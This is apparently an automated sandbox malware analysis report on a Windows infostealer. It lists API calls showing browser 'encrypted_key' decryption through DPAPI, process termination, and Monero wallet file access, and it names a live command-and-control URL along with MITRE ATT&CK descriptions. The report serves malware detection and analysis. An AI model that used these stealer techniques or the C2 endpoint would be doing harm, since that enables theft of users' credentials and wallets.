Opcode ID: 6f013c661a7782936a055b8dfbe63a8af1e48ee37b534a7039aaaa92728904fe
Instruction ID: 70dd9f51d8c1918ddd090074c4fae3ca38d4e53ed59dd03b05cbb0f63597b38f
Opcode Fuzzy Hash: 6f013c661a7782936a055b8dfbe63a8af1e48ee37b534a7039aaaa92728904fe
Instruction Fuzzy Hash: C351EF72D10208ABCF04FBA4DDA6DEE77B9AF54300F489578F41677191EE346A09CB62

Function 00EB37B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 924a270fe538d3067ee28e35c928dbbefd0a49fefa1d63a6b2b7b12d9c541a04
Instruction ID: 6ae37904057e764ad907a277eef259de91af596d029b21bf5fc99d66770a97be
Opcode Fuzzy Hash: 924a270fe538d3067ee28e35c928dbbefd0a49fefa1d63a6b2b7b12d9c541a04
Instruction Fuzzy Hash: E1414271D10209EBCF14EFA4D956EEFB7B8AF44304F049428F51576285EB709A45CFA1

Function 00EAA430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EAA13C
Part of subcall function 00EAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EAA161
Part of subcall function 00EAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00EAA181
Part of subcall function 00EAA110: ReadFile.KERNEL32(000000FF,?,00000000,00EA148F,00000000), ref: 00EAA1AA
Part of subcall function 00EAA110: LocalFree.KERNEL32(00EA148F), ref: 00EAA1E0
Part of subcall function 00EAA110: CloseHandle.KERNEL32(000000FF), ref: 00EAA1EA

Part of subcall function 00EB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EB8FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EAA489

Part of subcall function 00EAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00EAA23F
Part of subcall function 00EAA210: LocalAlloc.KERNEL32(00000040,?,?,?,00EA4F3E,00000000,?), ref: 00EAA251
Part of subcall function 00EAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00EAA27A
Part of subcall function 00EAA210: LocalFree.KERNEL32(?,?,?,?,00EA4F3E,00000000,?), ref: 00EAA28F

Part of subcall function 00EAA2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EAA2D4
Part of subcall function 00EAA2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00EAA2F3
Part of subcall function 00EAA2B0: LocalFree.KERNEL32(?), ref: 00EAA323

Strings

"encrypted_key":", xrefs: 00EAA480
, xrefs: 00EAA511
DPAPI, xrefs: 00EAA4D9

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 5b359c6e73ef36f286bfb40ccc922ae9322b75ad4a970a3b420ce34c3b688ccc
Instruction ID: 60303df6729c80d6899ed63d4d2992f46cdec3b23d41eb11564a7c3623cd276d
Opcode Fuzzy Hash: 5b359c6e73ef36f286bfb40ccc922ae9322b75ad4a970a3b420ce34c3b688ccc
Instruction Fuzzy Hash: 8A3161B6D00208ABCF04DBE4DD55EEFB3B8AF59304F085568E911B7241E731AE05CBA6

Function 00EB9660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00EB967B

Part of subcall function 00EB8EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00EB96AE,00000000), ref: 00EB8EEB
Part of subcall function 00EB8EE0: RtlAllocateHeap.NTDLL(00000000), ref: 00EB8EF2
Part of subcall function 00EB8EE0: wsprintfW.USER32 ref: 00EB8F08

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00EB973B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00EB9759
CloseHandle.KERNEL32(00000000), ref: 00EB9766

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 365c962a55604d5166bb3d1a7aeaa71e258e096d9c9c1c4dc80f70e6575c3864
Instruction ID: 5e7ac33808d0ce2c1d9b409d728b34690b4e8c48f924eef0ca11bcd0d56ee047
Opcode Fuzzy Hash: 365c962a55604d5166bb3d1a7aeaa71e258e096d9c9c1c4dc80f70e6575c3864
Instruction Fuzzy Hash: FA317E75A00218ABDF14DFE0DD49BEEB7B8FB04700F204469F606AB288DB746A84CB51

Function 00EB8810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00EC05BF), ref: 00EB885A
Process32First.KERNEL32(?,00000128), ref: 00EB886E
Process32Next.KERNEL32(?,00000128), ref: 00EB8883

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

CloseHandle.KERNEL32(?), ref: 00EB88F1

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d137c8ec4dda4db4ea310b8920615c29f955d79765d6c36f32f862eec9324be1
Instruction ID: 0af990870f6d7a02859a49acec96cc6c13c078e757fbf8faa155fcaf164b5ea6
Opcode Fuzzy Hash: d137c8ec4dda4db4ea310b8920615c29f955d79765d6c36f32f862eec9324be1
Instruction Fuzzy Hash: 2B313C71901218ABCF28DB94DD95FEFB7B9EB44700F5451A9F11AB2290EB306A44CFA1

Function 00F1FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F1FE13
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F1FE2C

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: 3856d1a519234f110fe50cc6a5c21db12153e70b3802f20d194cc9975d0ee5ee
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction Fuzzy Hash: 8201D432609731EEFA3466B4ACC9AAB3694FB117B57344339F116801F2EF564C85B284

Function 00EB7B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EC0DE8,00000000,?), ref: 00EB7B40
RtlAllocateHeap.NTDLL(00000000), ref: 00EB7B47
GetLocalTime.KERNEL32(?,?,?,?,?,00EC0DE8,00000000,?), ref: 00EB7B54
wsprintfA.USER32 ref: 00EB7B83

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 6ed0895e54bb5bddeb03f7169ff661c1efed842079ce0b50573fd903f66a235f
Instruction ID: 898f91b18777863cd594733655079e2c56098266cfc05ac4c569a85358c44caa
Opcode Fuzzy Hash: 6ed0895e54bb5bddeb03f7169ff661c1efed842079ce0b50573fd903f66a235f
Instruction Fuzzy Hash: 94112AB2904218ABCB14DBC9DD49BFFB7B8FB4CB11F10412AF615A2284E6395940C7B0

Function 00EBCA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EBCA7E

Part of subcall function 00EBC2A0: __amsg_exit.LIBCMT ref: 00EBC2B0

__getptd.LIBCMT ref: 00EBCA95
__amsg_exit.LIBCMT ref: 00EBCAA3
__updatetlocinfoEx_nolock.LIBCMT ref: 00EBCAC7

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 6f4c4dbdf459ab8c9a45b0d61f871209dcd60c0d5e2f65c82713533d6357e862
Instruction ID: bc5b74d1dbf24c103e3fda7301c04bed4fc26fa602de31189017498a0299994e
Opcode Fuzzy Hash: 6f4c4dbdf459ab8c9a45b0d61f871209dcd60c0d5e2f65c82713533d6357e862
Instruction Fuzzy Hash: 85F090329487189BD624FBA89803BCF37E0AF00724F30314AF506B62E2CBA459418AD6

Function 00F204D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 00F205DE

Strings

MOC, xrefs: 00F2050A
RCC, xrefs: 00F20512

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: 28789ed646d8bd9ef8b467aebecb5e8139e951bec3565f64b642d9f41dfb3fcf
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: 9C415B72D00219AFDF15DF94ED82AEE7BB5FF48314F184059F90466212D7399990EF50

Function 00EB5190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00EB51CA
lstrcat.KERNEL32(?,00EC1058), ref: 00EB51E7
lstrcat.KERNEL32(?,01BF9FD8), ref: 00EB51FB
lstrcat.KERNEL32(?,00EC105C), ref: 00EB520D

Part of subcall function 00EB4B60: wsprintfA.USER32 ref: 00EB4B7C
Part of subcall function 00EB4B60: FindFirstFileA.KERNEL32(?,?), ref: 00EB4B93

Part of subcall function 00EB4B60: StrCmpCA.SHLWAPI(?,00EC0FC4), ref: 00EB4BC1
Part of subcall function 00EB4B60: StrCmpCA.SHLWAPI(?,00EC0FC8), ref: 00EB4BD7
Part of subcall function 00EB4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00EB4DCD
Part of subcall function 00EB4B60: FindClose.KERNEL32(000000FF), ref: 00EB4DE2

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ad92d9b65a336ddf8a0ef28a4ccdeb04f1dbb7e9d91ec0e3881d61000b43e960
Instruction ID: cfb1f664608df19d9c15c2b8bd1573167f3fe8c8c99df47394b1b4206c6d50d5
Opcode Fuzzy Hash: ad92d9b65a336ddf8a0ef28a4ccdeb04f1dbb7e9d91ec0e3881d61000b43e960
Instruction Fuzzy Hash: D421CD7A900208A7DB28EBB0DD56FEE737C9754300F0045A8B665662C5DE7156C8CB91

Source: http://185.215.113.206/6c4adf523b719729.php=	Virustotal: Detection: 16%			Perma Link
Source: http://185.215.113.206/6c4adf523b719729.php	Virustotal: Detection: 16%			Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB9030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00EB9030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00EA72A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAA2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00EAA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00EAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00EAC920

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

